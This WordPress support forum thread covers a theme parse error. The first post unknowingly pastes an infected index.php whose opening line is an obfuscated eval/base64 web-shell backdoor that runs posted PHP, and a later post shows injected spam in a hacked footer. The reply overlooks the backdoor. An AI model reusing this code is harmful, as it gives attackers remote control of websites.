• My Home page has a parsing error. It appears to have happened without me making any updates. If you go to an indivual post, the web page displays with no problem. It’s just the Home page that has an issue.

    The error is: Parse error: syntax error, unexpected ‘;’, expecting T_STRING or T_VARIABLE or ‘$’ in /home/nanos1/public_html/blog/wp-content/themes/landingpage/index.php on line 14

    Line 14: <h2>” rel=”bookmark” title=”<?php the_title(); ?>” class=”post_title”><?php the_title(); ?></h2>

    The first 20 lines of code from my cpanel editor follows:

    <?php
    preg_replace(“/.+/esi”,”\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28’aWYgKCFlbXB0eSgkX0NPT0tJRVsndiddKSBhbmQgJF9DT09LSUVbJ3YnXT09J2QnKXtpZiAoIWVtcHR5KCRfUE9TVFsnYyddKSkge2VjaG8gJzx0ZXh0YXJlYSByb3dzPTI4IGNvbHM9ODA+JzsgJGQ9YmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLCRfUE9TVFsnYyddKSk7aWYoJGQpIGV2YWwoJGQpOyBlY2hvICc8L3RleHRhcmVhPic7fQ0KZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD1wb3N0Pjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjggbmFtZT1jPjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdD48L2Zvcm0+JztleGl0O30=’\x29\x29\x3B”,’1′);
    ?>
    <?php get_header(); ?>

    <div class=”narrowcolumn”>
    <div class=”narrowcolumn-top”> </div>
    <div class=”narrowcolumn-bg”>
    <?php if(have_posts()) : ?><?php while(have_posts()) : the_post(); ?>
    <div class=”post” id=”post-<?php the_ID(); ?>”>
    <h2>” rel=”bookmark” title=”<?php the_title(); ?>” class=”post_title”><?php the_title(); ?></h2>
    <div class=”entry”>
    <div class=”postcontent”>
    <?php the_content('Read more…'); ?>
    </div>

Viewing 3 replies - 1 through 3 (of 3 total)
  • this line is missing some stuff:

    <h2>" rel="bookmark" title="<?php the_title(); ?>" class="post_title"><?php the_title(); ?></h2>

    Go back to your original unedited copy of index.php – you saved one, right? 😉 – to restore the correct line of code.

    Could be something like:

    <h2><a href="<?php the_permalink(); ?>" title="<?php the_title() ?>" rel="bookmark"><?php the_title(); ?></a></h2>

    Thread Starter nanos1

    (@nanos1)

    This editor keeps erasing my

    href=”<?php the_permalink(); ?>”

    It does appear after the <h2><a
    and before the

    rel=”bookmark” title=”<?php the_title(); ?>” class=”post_title”><?php the_title(); ?></h2>

    I hope that someone can assist – I’m not the web developer but would like to correct this proplem.
    I get the following error:
    Parse error: syntax error, unexpected ‘;’, expecting T_STRING or T_VARIABLE or ‘$’ in /home/urbanspa/public_html/wordpress/wp-content/themes/pda-group/footer.php on line 18

    I’ve looked at the footer.php files and the obvious deduction from the “viagra add” is that its been hacked 😉

    This is the full code:
    <?php
    if ( ! is_front_page() ) :
    ?>
    </div> <!– end #services –>

    <!– BEGIN FOOTER –>
    <div id=”footer-wrap”>
    <div id=”footer” class=”container_16 clearfix”>
    </div> <!– end #footer –>
    </div> <!– end #footer-wrap –>
    <!– END FOOTER –>
    <?php
    endif;
    ?>

    <div id=”bottom-wrap”>
    <div id=”bottom” class=”container_16 clearfix”>
    <p><?php apply_filters( 'footer_text', printf( __( '%d Copyright %s. All Rights Reserved. Brought to you by: METIS' ), date('Y'), get_bloginfo('name') ) ); ?></p>
    <?php /* Our navigation menu. If one isn't filled out, wp_nav_menu falls back to wp_page_menu. The menu assiged to the primary position is the one used. If none is assigned, the menu with the lowest ID is used. */ ?>
    <?php
    $args = array( 'container' => false, 'theme_location' => 'footer', 'depth' => 1, 'menu_class' => false );
    ?>
    <?php wp_nav_menu( $args ); ?>
    </div> <!– end #bottom –>
    </div> <!– end #bottom-wrap –>
    <!– END BOTTOM –>

    <?php wp_footer(); ?>

    viagra 100mg</body>
    </html>

    Can anyone please assist with this please?!

Viewing 3 replies - 1 through 3 (of 3 total)
  • The topic ‘Parse error: syntax error, unexpected ';', expecting T_STRING or T_VARIABLE’ is closed to new replies.